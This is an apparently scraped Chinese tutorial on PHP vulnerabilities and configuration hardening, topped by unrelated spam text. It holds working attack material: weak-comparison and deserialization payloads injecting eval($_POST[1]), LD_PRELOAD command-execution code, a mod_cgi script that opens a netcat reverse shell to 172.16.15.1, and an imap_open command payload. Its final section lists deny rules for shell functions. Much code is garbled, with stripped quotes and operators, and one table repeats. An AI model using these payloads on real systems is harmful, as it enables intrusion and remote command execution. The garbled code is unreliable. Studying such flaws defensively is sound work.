果洛电子商务网站建设哪家快,同花顺回应“app崩了”:正在排查,广州网址大全,网站不备案备案目录
1、PHP弱类型问题
1.1 MD5、 SHA1 弱比较问题
1.2 数组 0
1#xff09;函数无法处理数组#xff0c;返回0
2#xff09;strcmp
2、特殊字符串导致的问题
2.1 ffifdyop 与 md5(string,raw)
2.2 ereg函数漏洞#xff1a;00 截断
3、正则匹配问…目录
1、PHP弱类型问题
1.1 MD5、 SHA1 弱比较问题
1.2 数组 0
1函数无法处理数组返回0
2strcmp
2、特殊字符串导致的问题
2.1 ffifdyop 与 md5(string,raw)
2.2 ereg函数漏洞00 截断
3、正则匹配问题
1preg_match 没有 ^ 和 $
2pre_match 正则匹配回溯
4、变量覆盖
1extract()
2parse_str(str) 、mb_parse_str(str)
3php 动态变量特性导致的变量覆盖
5、数据类型强制转换
1intval()
2in_array()
6、反序列化相关的问题
6.1 php魔术方法
1在 PHP 反序列化的过程中会自动执行一些魔术方法
2反序列化的常见起点
3反序列化的常见中间跳板
4反序列化的常见终点
5Phar 反序列化原理以及特征
6.2 其他关键点
1__wakeup() 检测绕过
2反序列化字符串逃逸
7、php 伪随机数爆破
8、PHP 危险函数
9、disable_functions绕过
9.1 sendmail() LDPRELOAD 劫持系统函数
1编译动态链接库劫持系统函数
2通过 php 文件设置优先加载编写动态链接库
9.2 mail LDPRELOAD 无需劫持函
9.3 攻击 php-fpm 绕过
9.4 apache mod_cgi模式
9.5 imap_open
9.6 利用第三方组件漏洞
10、PDO 下的 SQL注入
10.1 堆叠注入
10.2 报错注入
1模拟预处理
2非模拟预处理
10.3 盲注
11、安全配置问题
1注册全局变量带来的安全隐患
2 配置不显示错误信息保存错误信息到本地
3权限问题
4allow_url_include 和 allow_url_fopen
5magic_quotes_gpc, magic_quotes_runtime
6safe_mode功能描述限制函数使用权限和操作目录文件权限等功能。php 的安全模式开启后会提升系统的安全系数但是同时也会限制一些功能的使用。检验用户是否有操作文件权限。在安全模式下包含某些公共文件可以选用它的子配置
7open_basedir
8disable_functions
9expose_php
10display_startup_errors 1、PHP弱类型问题
1.1 MD5、 SHA1 弱比较问题
MD5、SHA函数将 0x 开头的哈希值都解释为科学计数法 0 的多少次方结果都为 0若两个不同的密码经过哈希以后其哈希值都是以 0e 开头的那么使用弱类型比较时php 将会认为他们相同。
$a QNKCDZO;
$b s214587387a;
if(md5($a) md5($b)){echo yes;
} MD5常见弱比较payload SHA1常见弱比较payload md5(240610708) sha1(aaK1STfY) md5(s878926199a) sha1(aaO8zKZF) md5(s155964671a) sha1(aa3OFF9m) md5(s214587387a) sha1(aaroZmOk) md5(s214587387a) - md5(QNKCDZO) - 1.2 数组 0
1函数无法处理数组返回0
部分函数无法处理数组当传入的参数为数组时可能返回0在进行比较时即可能存在绕过。涉及的函数sha1()、md5()、is_numeric()、strpos() 2strcmp
如果 str1 小于 str2 返回 0 如果 str1 大于 str2 返回 0如果两者相等返回 0。先将两个参数先转换成 string 类型。当比较数组和字符串的时候返回是 0。如果参数不是 string 类型直接 return 2、特殊字符串导致的问题
2.1 ffifdyop 与 md5(string,raw)
当 php 使用 md5(string,raw) 进行密码的正确性判断可以通过字符串 ffifdyop 绕过判断
select * from admin where passwordmd5($pass,true)
字符串 ffifdyop 经过 md5 编码后返回的原始二进制为 or6\xc9]\x99\xe9!r,\xf9\xedb\x1c相当于构造了
select * from admin where password or 6\xc9]\x99\xe9!r,\xf9\xedb\x1c
即
select * from admin where password or true 2.2 ereg函数漏洞00 截断
若如果 $_GET[password] 为数组则返回值为 NULL若为 123%00**则返回值为true。php7 已移除此函数C 语言等编程语言默认以 \0 作为字符串的结束符当读取到这样的空字符便认为字符串结束不在向后读取。
if (ereg (^[a-zA-Z0-9]$, $_GET[password]) FALSE){echo invalid password;
} 3、正则匹配问题
1preg_match 没有 ^ 和 $
preg_match 默认存在贪婪匹配未限制开始和结束(^ 和 $)则存在绕过的问题。abc1.1.1.1 即可绕过。
?php
$ip asd 1.1.1.1 abcd; // 可以绕过
if(!preg_match(/(\d)\.(\d)\.(\d)\.(\d)/,$ip)) {die(error);
} else {echo(key...);
}
? 2pre_match 正则匹配回溯
pre_match 默认贪婪匹配会进行正则匹配回溯回溯次数太多会消耗很多服务器资源甚至造成正则表达式的拒绝服务攻击reDOS。因此 php 的 pcre.backtrack_limit 选项可设置默认回溯上线为 100 万次所以通过传递一个超长的字符串给 pre_match 进行解析可以导致 pre_match 正则匹配超过回溯上限使得 php 认为正则匹配失败返回 false。
?php
function is_php($data){ return preg_match(/\?.*[(;?].*/is, $data);
}if(!is_php($input)) {// fwrite($f, $input); ...
} 4、变量覆盖
1extract()
从数组中将变量导入到当前的符号表使用数组键名作为变量名使用数组键值作为变量值。在指定参数为 EXTR_OVERWRITE 或者没有指定函数可以导致变量覆盖。历史漏洞thinkphp 5 文件包含漏洞
?php
$flag xxx;
extract($_GET);
if (isset($gift)) {$content trim(file_get_contents($flag));if ($gift $content) {echo flag{...};}
}
?
payload?flaggift
extract() 会将已设置的 $flag 变量覆盖为 $_GET 收到的 flag 的值 2parse_str(str) 、mb_parse_str(str)
可将字符串解析成多个变量若参数 str 是 URL 传递入的查询字符串query string则将它解析为变量并设置到当前作用域。若未设置 array 参数由该函数设置的变量将覆盖已存在的同名变量
?php
error_reporting(0);
if(empty($_GET[id])) { die();
} else {include (flag.php);$a www.OPENCTF.com;$id $_GET[id];parse_str($id);if (md5($a[0]) md5(QNKCDZO)) {echo $flag;} else {exit();}
}
?
payload?ida[0]QNKCDZO
parse_str() 将 a[0]QNKCDZO 解析导致 a[0] 原本的值被覆盖 3php 动态变量特性导致的变量覆盖
?php
foreach (array(_COOKIE,_POST,_GET) as $_request) {foreach ($$_request as $_key$_value) {
// $_request _GET$$_request $_GET$$_key $_value;
// $_GET id1$$_GET $id1}
}
$id isset($id) ? $id : 2;
if($id 1) {echo flag{xxxxxxxxxx};die();
}
?
payload?id1 5、数据类型强制转换
1intval()
intval() 转换的时候会将从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串intval() 不会报错而是返回 0并且 intval() 函数可以被 %00 截断。而在使用数据库存储数据时仅用 isnumberic 判断而不用 intval 转换就有可能插入16 进制的字符串到数据库进而可能导致 sql 二次注入。
var_dump(intval(2)); //2
var_dump(intval(3abcd)); //3
var_dump(intval(abcd)); //0if($_GET[number]!strval(intval($_GET[number]))){$info number must be equal to its integer!! ;
}
payload?number0%00 2in_array()
在所有php认为是int的地方输入string都会被强制转换
var_dump(in_array(abc, $array)); //true
var_dump(in_array(1bc, $array)); //true 6、反序列化相关的问题
6.1 php魔术方法
php 中的魔术方法以符号 __ 开头的如 __construct __destruct__toString__sleep__wakeup 等等。这些函数都会在某些特殊时候被自动调用。 1在 PHP 反序列化的过程中会自动执行一些魔术方法 方法名 调用条件 __call 调用不可访问或不存在的方法时被调用 __callStatic 调用不可访问或不存在的静态方法时被调用 __clone 进行对象clone时被调用用来调整对象的克隆行为 __constuct 构建对象的时被调用 __debuginfo 当调用var_dump()打印对象时被调用当你不想打印所有属性适用于PHP5.6版本 __destruct 明确销毁对象或脚本结束时被调用 __get 读取不可访问或不存在属性时被调用 __invoke 当以函数方式调用对象时被调用 __isset 对不可访问或不存在的属性调用isset()或empty()时被调用 __set 当给不可访问或不存在属性赋值时被调用 __set_state 当调用var_export()导出类时此静态方法被调用。用__set_state的返回值做为var_export的返回值。 __sleep 当使用serialize时被调用当你不需要保存大对象的所有数据时很有用 __wakeup 当使用unserialize时被调用可用于做些对象的初始化操作 __toString 当一个类被转换成字符串时被调用 __unset 对不可访问或不存在的属性进行unset时被调用 2反序列化的常见起点 __wakeup 一定会调用 __destruct 一定会调用 __toString 当一个对象被反序列化后又被当做字符串使用 3反序列化的常见中间跳板 __toString 当一个对象被当做字符串使用 __get 读取不可访问或不存在属性时被调用 __set 当给不可访问或不存在属性赋值时被调用 __isset 对不可访问或不存在的属性调用isset()或empty()时被调用 4反序列化的常见终点 __call 调用不可访问或不存在的方法时被调用 call_user_func 一般php代码执行都会选择这里 call_user_func_array 一般php代码执行都会选择这里 5Phar 反序列化原理以及特征
phar:// 伪协议会在多个函数中反序列化其 metadata 部分受影响的函数包括不限于如下:
copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,fileinode,filemtime,fileowner,fileperms,fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo 6.2 其他关键点
1__wakeup() 检测绕过
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在则会先调用 __wakeup 方法预先准备对象需要的资源。当 __wakeup() 被用来检测序列化数据时当成员属性数目大于实际数目时可绕过检测CVE-2016-7124此时可以在序列化数据内插入非法字符。
?php
class User{public age;public name;......// 使用__wakeup() 对反序列化内容进行检查和转换操作function __wakeup() {foreach($this-args as $k $v) {$this-args[$k] strtolower(trim(mysql_escape_string($v)));...
}
...
?O:4:User:2:{s:3:age;i:20;s:4:name;s:4:John;} // 正确的序列化字符串
O:4:User:3:{s:3:age;i:20;s:4:name;s:10:Johnxxxxx;} // 绕过__wakeup的序列化字符串检查 2反序列化字符串逃逸
PHP 在反序列化时对类中不存在的属性也会进行反序列化并且底层代码是以 ; 作为字段的分隔以 } 作为结尾(字符串除外)并且是根据长度判断内容的。
造成字符串逃逸的原因
字符串的序列化数量和实际数量不一致。当序列化的字符串在反序列化之前被添加或者删除了部分字符就导致了数据类型的数量标记的错误解析时就会漏解析或多解析。
?php
class User{public age;public name;...
}
...
$user serialize($object);
...
function filter($str){$str str_replace(phtml,,$string);
}
...
unserialize(filter($user));
?O:4:User:3:{s:3:age;i:20;s:4:name;s:25:phtmlphtmlphtmlphtmlphtml;}
插入数据
O:4:User:3:{s:3:age;i:20;s:4:name;s:25:phtmlphtmlphtmlphtmlphtml;}? eval($_POST[1]);?;}
被过滤后
O:4:User:3:{s:3:age;i:20;s:4:name;s:25:;}? eval($_POST[1]);?;} 7、php 伪随机数爆破 计算机不能产生绝对的随机数只能产生伪随机数即有规律的数据。伪随机是由可确定的函数通过一个种子常用时钟播种产生的伪随机数。若已知种子或者已经产生的随机数或者已知产生的随机数的一部分都可能获得接下来随机数序列的信息。已知了随机数列则能确定随机数种子。
PHP 的伪随机数有关的两个函数
mt_rand(min,max)如果没有提供可选参数 min 和 max返回 0 到 RAND_MAX 之间的伪随机数。mt_srand(seed) 播种 Mersenne Twister 随机数生成器参数 seed 为规定播种值函数用 seed 来给随机数发生器播种。
php 每次调用 mt_rand() 函数时都会先检查是否已经播种。如果已经播种就直接产生随机数否则调用 php_mt_srand 来播种。即每个 php cgi 进程期间只有第一次调用 mt_rand() 会自动播种此后都会根据这个第一次播种的种子来生成随机数。
根据 mt_rand() 产生的随机数可以使用爆破工具 php_mt_seed 进行爆破随机数种子
rootubuntu:/opt/php_mt_seed-4.0# php -r mt_srand(1234567890); echo mt_rand(),\n;
1328851649
rootubuntu:/opt/php_mt_seed-4.0# ./php_mt_seed 1328851649
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 3523.2 Mseeds/s
Version: 5.2.1
Found 0, trying 0x1e000000 - 0x1fffffff, speed 31.3 Mseeds/s
seed 0x1fd65f9a 534142874 (PHP 7.1.0)
Found 1, trying 0x26000000 - 0x27ffffff, speed 31.3 Mseeds/s
seed 0x273a3517 658126103 (PHP 5.2.1 to 7.0.x; HHVM)
Found 2, trying 0x48000000 - 0x49ffffff, speed 31.5 Mseeds/s
seed 0x499602d2 1234567890 (PHP 5.2.1 to 7.0.x; HHVM)
seed 0x499602d2 1234567890 (PHP 7.1.0)
Found 4, trying 0xfe000000 - 0xffffffff, speed 31.9 Mseeds/s
Found 4
rootubuntu:/opt/php_mt_seed-4.0#
8、PHP 危险函数 命令执行函数 描述 error_log() 将错误信息发送到指定位置文件。在某些版本的 PHP 中可使用 error_log() 绕过 PHP safe mode执行任意命令。 preg_replace(/pattern/e, ) 执行一个正则表达式的搜索和替换。/e 修正符会导致在完成替换后引擎会将结果字符串作为 PHP 代码使用 eval 方式进行评估并将返回值作为最终参与替换的字符串。/e 在php 5.5之后被废除。 eval() 把字符串作为PHP代码执行 passthru() 允许执行一个外部程序并回显输出类似于 exec() exec() 允许执行一个外部程序如 UNIX Shell 或 CMD 命令等命令执行结果的最后一行内容 system() 允许执行一个外部程序并回显输出 shell_exec() 通过 Shell 执行命令并将执行结果作为字符串返回 popen() 可通过 popen() 的参数传递一条命令并对 popen() 所打开的文件进行执行。 proc_open() 执行一个命令并打开文件指针用于读取以及写入。 proc_get_status() 获取使用 proc_open() 所打开进程的信息。 ob_start() 此函数将打开输出缓冲。当输出缓冲激活后脚本将不会输出内容除http标头外相反需要输出的内容被存储在内部缓冲区中。 unserialize() PHP 5.4.36之前版本”process_nested_data()”函数在实现上存在释放后重利用漏洞攻击者通过向”unserialize()” 函数传递构造的输入利用此漏洞可破坏内存”var_push_dtor()”函数在实现上存在空指针间接引用漏洞攻击者通过 向”unserialize()”函数传递构造的输入利用此漏洞可造成崩溃。成功利用这些漏洞可造成任意代码执行。 可调用命令执行函数的危险函数 描述 create_function() 用于创建一个匿名函数此函数会在内部执行 eval() call_user_func() 把第一个参数作为回调函数调用。函数第一个参数 callback 是被调用的回调函数其余参数是回调函数的参数。 call_user_func_array() 调用回调函数并把一个数组参数作为回调函数的参数 ?php $arr[0]$_GET[cmd];call_user_func_array(system, $arr);? usort()、uasort()、uksort() 使用用户自定义的比较函数对数组中的值、键名进行排序 array_map() 为数组的每个元素应用回调函数 ?php $arr[0]$GET[cmd];echo array_map($_GET[func], $arr);? array_filter () 用回调函数过滤数组中的单元 array _reduce() 用回调函数迭代地将数组简化为单一的值 array_diff_uassoc() 用用户提供的回调函数做索引检查来计算数组的差集 arra y_diff _ ukey() 用回调函数对键名比较计算数组的差集 array_ udiff() 用回调函数比较数据来计算数组的差集 array udiff_assoc() 带索引检查计算数组的差集用回调函数比较数据 array_udiff_ uassoc() 带索引检查计算数组的差集用回调函数比较数据和索引 array_intersect_uassoc() 带索引检查计算数组的交集用回调函数比较索引 array_ uintersect() 计算数组的交集用回调函数比较数据 array_uintersect_assoc() 带索引检查计算数组的交集用回调函数比较数据 array_uintersect_ uassoc() 带索引检查计算数组的交集用单独的回调函数比较数据和索引 array_ walk() 使用用户自定义函数对数组中的每个元素做回调处理 array_walk_ recursive() 对数组中的每个成员递归地应用用户函数 xml_set_character_data_handler(parser,handler) 为 parser 变量指向的 XML 解析器指定字符数据处理函数。 xml_set_default_handler(parser,handler) 为 parser 指定的 XML 处理器建立默认处理函数 xml _set_ element_ handler(parser,handler) 为 parser 参数指定的 XML 解析器建立元素处理器函数。 xml_set_end_namespace_decl_handler() 建立终止命名空间声明处理器 xml_ set_ external_ entity _ref_handler 为 parser 参数指定的 XML 解析器建立外部实体指向处理器函数 xml_set notation decl_handler() 为 parser 参数指定的 XML 解析器建立注释声明处理器函数。 xml _set_processing_instruction _handler() 为 parser 参数指定的 XML 解析器建立处理指令PI处理器函数 xml_set_start_namespace_decl_handler() 建立起始命名空间声明处理器 xml_set_unparsed_entity _decl_handler() 为 parser 参数指定的 XML 解析器建立未解析实体定义声明处理器函数。当 XML 解析器遇到如下含有 NDATA 声明的外部实体定义声明时该 handler 处理器将被调用 stream_filter_register() 允许用户使用任何文件系统上的函数在任何流上实现自定义的过滤器 set_ error_ handler() 设置用户自定义的错误处理函数 register_ shutdown_ function() 注册一个会在php中止时执行的函数 register_tick_function() 当tick被调用时注册被给定的需要执行的函数 可调用命令执行函数的危险函数 描述 create_function() 用于创建一个匿名函数此函数会在内部执行 eval() call_user_func() 把第一个参数作为回调函数调用。函数第一个参数 callback 是被调用的回调函数其余参数是回调函数的参数。 call_user_func_array() 调用回调函数并把一个数组参数作为回调函数的参数 ?php $arr[0]$_GET[cmd];call_user_func_array(system, $arr);? usort()、uasort()、uksort() 使用用户自定义的比较函数对数组中的值、键名进行排序 array_map() 为数组的每个元素应用回调函数 ?php $arr[0]$GET[cmd];echo array_map($_GET[func], $arr);? array_filter () 用回调函数过滤数组中的单元 array _reduce() 用回调函数迭代地将数组简化为单一的值 array_diff_uassoc() 用用户提供的回调函数做索引检查来计算数组的差集 arra y_diff _ ukey() 用回调函数对键名比较计算数组的差集 array_ udiff() 用回调函数比较数据来计算数组的差集 array udiff_assoc() 带索引检查计算数组的差集用回调函数比较数据 array_udiff_ uassoc() 带索引检查计算数组的差集用回调函数比较数据和索引 array_intersect_uassoc() 带索引检查计算数组的交集用回调函数比较索引 array_ uintersect() 计算数组的交集用回调函数比较数据 array_uintersect_assoc() 带索引检查计算数组的交集用回调函数比较数据 array_uintersect_ uassoc() 带索引检查计算数组的交集用单独的回调函数比较数据和索引 array_ walk() 使用用户自定义函数对数组中的每个元素做回调处理 array_walk_ recursive() 对数组中的每个成员递归地应用用户函数 xml_set_character_data_handler(parser,handler) 为 parser 变量指向的 XML 解析器指定字符数据处理函数。 xml_set_default_handler(parser,handler) 为 parser 指定的 XML 处理器建立默认处理函数 xml _set_ element_ handler(parser,handler) 为 parser 参数指定的 XML 解析器建立元素处理器函数。 xml_set_end_namespace_decl_handler() 建立终止命名空间声明处理器 xml_ set_ external_ entity _ref_handler 为 parser 参数指定的 XML 解析器建立外部实体指向处理器函数 xml_set notation decl_handler() 为 parser 参数指定的 XML 解析器建立注释声明处理器函数。 xml _set_processing_instruction _handler() 为 parser 参数指定的 XML 解析器建立处理指令PI处理器函数 xml_set_start_namespace_decl_handler() 建立起始命名空间声明处理器 xml_set_unparsed_entity _decl_handler() 为 parser 参数指定的 XML 解析器建立未解析实体定义声明处理器函数。当 XML 解析器遇到如下含有 NDATA 声明的外部实体定义声明时该 handler 处理器将被调用 stream_filter_register() 允许用户使用任何文件系统上的函数在任何流上实现自定义的过滤器 set_ error_ handler() 设置用户自定义的错误处理函数 register_ shutdown_ function() 注册一个会在php中止时执行的函数 register_tick_function() 当tick被调用时注册被给定的需要执行的函数 9、disable_functions绕过
9.1 sendmail() LDPRELOAD 劫持系统函数
LD_PRELOAD 是 linux 系统的一个环境变量用来定义在程序运行前优先加载的动态链接库其功能主要是有选择性的载入不同动态链接库中的相同函数。
流程
找一个 php 函数其实现方式包含调用系统共享对象中的函数写一个动态链接库覆盖该 php 函数调用的系统命令的某个函数通过 php 脚本使用 putenv 设置优先加载编写动态链接库通过覆盖该系统函数从而执行命令将编译成的动态链接库和php文件上传到靶机include该php文件
1编译动态链接库劫持系统函数
php中的mail、error_log、imap_mail、mb_send_mai 函数通过调用系统中的 sendmail 命令实现sendmail 二进制文件中使用了 getuid 库函数因此可以覆盖 getuid 函数。
#include stdlib.h
#include stdio.h
#include string.h
int getuid()
{const char* cmdline getenv(EVIL_CMDLINE);if (getenv(LD_PRELOAD) NULL){return 0;}unsetenv(LD_PRELOAD);system(cmdline);
}
以上内容编译成动态链接库
gcc -shared -fPIC geteuid.c -o getuid.so 2通过 php 文件设置优先加载编写动态链接库
putenv 添加环境变量(一个是上传的so库地址、一个是要执行的命令)将system命令输出内容写入指定文件。
?php
$cmd $_REQUEST[cmd];
$out_path $_REQUEST[outpath];
$evil_cmdline $cmd . . $out_path . 21;
echo p bcmdline/b: . $evil_cmdline . /p;
putenv(EVIL_CMDLINE . $evil_cmdline);
$so_path $_REQUEST[sopath];
putenv(LD_PRELOAD . $so_path);
mail(, , , );
echo p boutput/b: br / . nl2br(file_get_contents($out_path)) . /p;
? 9.2 mail LDPRELOAD 无需劫持函
适用于无法使用 sendmail 的情况只需要找到该php环境中存在执行系统命令的函数、且 putenv函数未被禁用的情况下就可以绕过disable_function。GCC 有个 C 语言扩展修饰符 attribute((constructor))可以让由它修饰的函数在 main() 之前执行若它出现在共享对象中时那么一旦共享对象被系统加载立即将执行 attribute((constructor)) 修饰的函数。
编译并上传如下内容此时同样的 php 文件使用这个动态库即使靶机没有 sendmail也会执行命令。并且因为不用等待 sendmail 返回现在可以实时显示命令执行返回内容。
#define _GNU_SOURCE
#include stdlib.h
#include stdio.h
#include string.h__attribute__ ((__constructor__)) void getuid()
{const char* cmdline getenv(EVIL_CMDLINE);if (getenv(LD_PRELOAD) NULL) { return 0; }unsetenv(LD_PRELOAD); system(cmdline);
} 9.3 攻击 php-fpm 绕过
php-fpm 内嵌有 php 解释器webserver 将用户请求按照 fastcgi 协议打包发给 php-fpm经 php 解释器解析后将标准内容再返回给 webserver。
php-fpm 与 nginx 有 TCP 和 UNIX socket 两种通信方式。TCP 方式php-fpm 会监听本地 9000 端口等待 webserver 连接通信UNIX socket 以文件一般是 .sock作为 socket 的唯一标识描述符需要通信的两个进程引用同一个 socket 描述符文件就可以建立通道进行通信。
攻击步骤
一个能模拟与 php-fpm 通信的 php 文件、一个符合当前 php 版本的写了命令执行函数的 php 扩展。将两个文件上传执行。
这两个都已经有师傅写好了
php 文件可以用这个 https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/fcgi_jailbreak.php
扩展 https://github.com/AntSwordProject/ant_php_extension用相应版本 php 编译即可项目中编译的扩展实现了一个功能与 system 相同名字为 antsystem2 的函数。 9.4 apache mod_cgi模式
实现要求
apache且运行mod_cgi模式web目录可写允许.htaccess生效
CGI 模式下每接受一个用户请求apache 都会 fork 一个进程运行 CGI 程序解析 php 脚本在 .htaccess 中可以设置允许在 web 目录运行 CGI 程序然后上传一个 shell 命令文件上去执行就可以反弹一个 shell 了。
在 .htaccess 中添加以下内容指定 .dazzle 为结尾的文件为 CGI 脚本程序并且允许本目录执行只要同时上传一个 .dazzle 的 shell 即可。
Options ExecCGIAddHandler
cgi-script .dizzle
payload 如下上传访问代码会自己检查是否符合条件符合条件直接执行命令反弹 shell。
?php
$cmd nc -c /bin/bash 172.16.15.1 4444; //command to be executed
$shellfile #!/bin/bash\n; //using a shellscript
//header is needed, otherwise a 500 error is thrown when there is output
$shellfile . echo -ne \Content-Type: text/html\\n\\n\\n;
$shellfile . $cmd; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{echo $text: . ($condition ? $yes : $no) . \n;
}
if (!isset($_GET[checked]))
{//Append it to a .htaccess file to see whether .htaccess is allowedfile_put_contents(.htaccess, \nSetEnv HTACCESS on, FILE_APPEND); //execute the script again to see if the htaccess test workedheader(Location: . $_SERVER[PHP_SELF] . ?checkedtrue);
} else {$modcgi in_array(mod_cgi, apache_get_modules()); // mod_cgi enabled?$writable is_writable(.); //current dir writable?$htaccess !empty($_SERVER[HTACCESS]); //htaccess enabled?checkEnabled(Mod-Cgi enabled,$modcgi,Yes,No);checkEnabled(Is writable,$writable,Yes,No);checkEnabled(htaccess working,$htaccess,Yes,No);if(!($modcgi $writable $htaccess)){echo Error. All of the above must be true for the script to work!; //abort if not} else{//make a backup, cause you never know.checkEnabled(Backing up .htaccess,copy(.htaccess,.htaccess.bak),Suceeded! Saved in .htaccess.bak,Failed!); //.dizzle is a nice extensioncheckEnabled(Write .htaccess file,file_put_contents(.htaccess,Options ExecCGI\nAddHandler cgi-script .dizzle),Succeeded!,Failed!); checkEnabled(Write shell file,file_put_contents(shell.dizzle,$shellfile),Succeeded!,Failed!); //write the filecheckEnabled(Chmod 777,chmod(shell.dizzle,0777),Succeeded!,Failed!); //rwxecho Executing the script now. Check your listener img src shell.dizzle style display:none;; //call the script}
}
?
9.5 imap_open
imap_open 函数爆出的任意命令执行漏洞也可以用来利用绕过 disable_function但要求靶机安装并开启了 imap 扩展。payload 如下上传后访问就能执行其中的代码。
?php
// CRLF (c)
// echo 1234567890/tmp/test0001$server x -oProxyCommandecho\
tZWNobyAnMTIzNDU2Nzg5MCc
L3RtcC90ZXN0MDAwMQo|base64\t-d|sh};
imap_open({.$server.:143/imap}INBOX, , ) or die(\n\nError: .imap_last_error());
9.6 利用第三方组件漏洞
这是基于靶机安装的后端组件中本来就存在已知漏洞通过漏洞直接注入 shell 命令从而绕过php 的限制。比如 ImageMagick 漏洞、Bash 的破壳漏洞、GhostScript 沙箱绕过(命令执行)漏洞等等。
10、PDO 下的 SQL注入
在 MySQL 中一条 SQL 语句从传入到执行经历了以下过程检查缓存、规则验证、解析器解析为语法树、预处理器进一步验证语法树、优化 SQL 、生成执行计划、执行。
PDO 预编译使用占位符?代替字段值的部分将 SQL 语句先交由数据库预处理构建语法树再传入真正的字段值多次执行省却了重复解析和优化相同语法树的时间提升了 SQL 执行的效率。
因为在传入字段值之前语法树已经构建完成因此无论传入任何字段值都无法再更改语法树的结构。至此任何传入的值都只会被当做值来看待不会再出现非预期的查询这是预编译能够防止SQL注入的根本原因。 10.1 堆叠注入
PDO 默认支持多语句查询如果 php 版本小于 5.5.21 或者创建 PDO 实例时未设置 PDO::MYSQL_ATTR_MULTI_STATEMENTS 为 false 时可能会造成堆叠注入。
// 创建PDO时禁止多语句执行
new PDO($dsn, $user, $pass, array( PDO::MYSQL_ATTR_MULTI_STATEMENTS false)) 10.2 报错注入
PDO 分为模拟预处理和非模拟预处理
1模拟预处理
是防止某些数据库不支持预处理而设置的PDO 内部会模拟参数绑定的过程先将 SQL 语句处理完最后 execute() 的时候才发送给数据库执行。 2非模拟预处理
通过数据库服务器来进行预处理动作主要分为两步
第一步是 prepare 阶段发送 SQL 语句模板到数据库服务器第二步通过 execute() 函数发送占位符参数给数据库服务器进行执行。
try {$pdo new PDO($dsn, $user, $pass);
} catch (PDOException $e) {echo $e;
}
// 设置非模拟预处理
// $pdo-setAttribute(PDO::ATTR_EMULATE_PREPARES, false);$username $_GET[username];
$sql select id,.$_GET[field]. from user where username ?;
$stmt $pdo-prepare($sql);$stmt-bindParam(1,$username);
$stmt-execute();while($row$stmt-fetch(PDO::FETCH_ASSOC)){var_dump($row);echo ;
}
field 字段可控当 PDO 为模拟预处理时设置 $pdo-setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 时可以达到报错注入效果 field 字段可控多语句不可执行但设置 $pdo-setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 时也可进行报错注入。因为 MySQL 服务端 prepare 时报错通过设置 PDO::ATTR_ERRMODE 将 MySQL 可以进行错误信息打印。
10.3 盲注
表名、列名、order by、ASC、DESC 等字段无法使用 PDO。生成语法树的过程中预处理器在进一步检查解析后的语法树时会检查数据表和数据列是否存在不存在则报错因此数据表和数据列不能被占位符 ? 所替代。当表名需要作为一个变量存在这部分仍需由加号进行 SQL 语句的拼接若表名是由外部传入且可控的仍会造成 SQL 注入。而 order by 后的 ASC/DESC 等字段在使用 PDO 后不能识别。当业务场景涉及用户可控的排序时且 ASC/DESC 是由前台传入并拼接到SQL 语句上时也可能造成sql注入。 11、安全配置问题
1注册全局变量带来的安全隐患
register_globals 用来开启全局注册变量功能。在 php4.2.0 后默认为 off如果为 on需要为每个变量初始化getpostcookie等变量直接被注册为全局变量比如表单的username程序中使用 $username 就能获取到值不需 $_POST 来获取值。
?php
if (!empty($_COOKIE[secret])){$authorized true;if ($authorized){...}
}
payload?authorized1
当 register_globals 为 on通过 get 传参使 $authorized 注册为全局变量就绕过了认证。
若有需求要开启注册全局变量有两种方法可以防御
初始化变量当初始化了 $authorized 的值为假即使传入了真也不会改变配置预警模式在 php.ini 中设置 error_reporting 设置为 E_ALL|E_STRICT 最高级别若存在未初始化的全局变量会预警。 2 配置不显示错误信息保存错误信息到本地
关闭浏览器显示错误提示记录错误提示到本地日志中减少信息泄露。这些设置可以在php.ini中设置也可以在php程序中设置。 3权限问题
文件上传的目录不应设置可执行权限。 4allow_url_include 和 allow_url_fopen
都开启时可以导致远程文件包含漏洞有需要开启时需要设置过滤程序。 5magic_quotes_gpc, magic_quotes_runtime
此两项都是魔术引号都能自动过滤但各有不同。开启后系统会自动过滤外来变量减少一些安全隐患但是同时也带来了一些性能损耗同时在做一些逻辑判断时候需要把反斜杠去掉再处理用 strislashes 函数去掉因此最好做全局过滤框架来过滤。
代表 getpostcookie 变量的过滤过滤有单引号双引号反斜杠空字符都用反斜杠转义但是gpc过滤还是不完整的比如 php5 中 $_SERVER 变量不会过滤如果程序中把 client-ip,referer 存到数据库中就能引发 sql 注入。magic_quotes_runtime 是对文件或者数据库中取出的数据过滤能很好的解决二次注入漏洞。 6safe_mode
功能描述限制函数使用权限和操作目录文件权限等功能。php 的安全模式开启后会提升系统的安全系数但是同时也会限制一些功能的使用。检验用户是否有操作文件权限。在安全模式下包含某些公共文件可以选用它的子配置
safe_mode_include_dir D:/phpstudy/www/include/ 7open_basedir
目录权限的控制开启可安全系数但会影响到性能每次有对目录操作权限的地方都会对此项进行判断。
open_basedir /var/www/a/:/var/www/b/a中php程序和b中php程序不能相互访问linux用冒号分割windows用分号分割 8disable_functions
禁止敏感函数相对较安全。
禁止命令执行函数
disable_functions system,passthru,exec,shell_exec,popen,pcntl_exec,proc_open禁止文件操作函数
disable_functionschdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir,rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chow禁止环境配置相关操作函数
disable_functionsputenv,getenv,unsetenv
9expose_php
隐藏php版本信息使攻击者在信息收集时候无法判断程序版本增加防御系数。expose_phpoff 为开启 10display_startup_errors
此项配置跟 display_errors 做比较区别是这个是 php 程序启动时产生的错误和 display_errors 是不一样的关闭可以增加防御系数。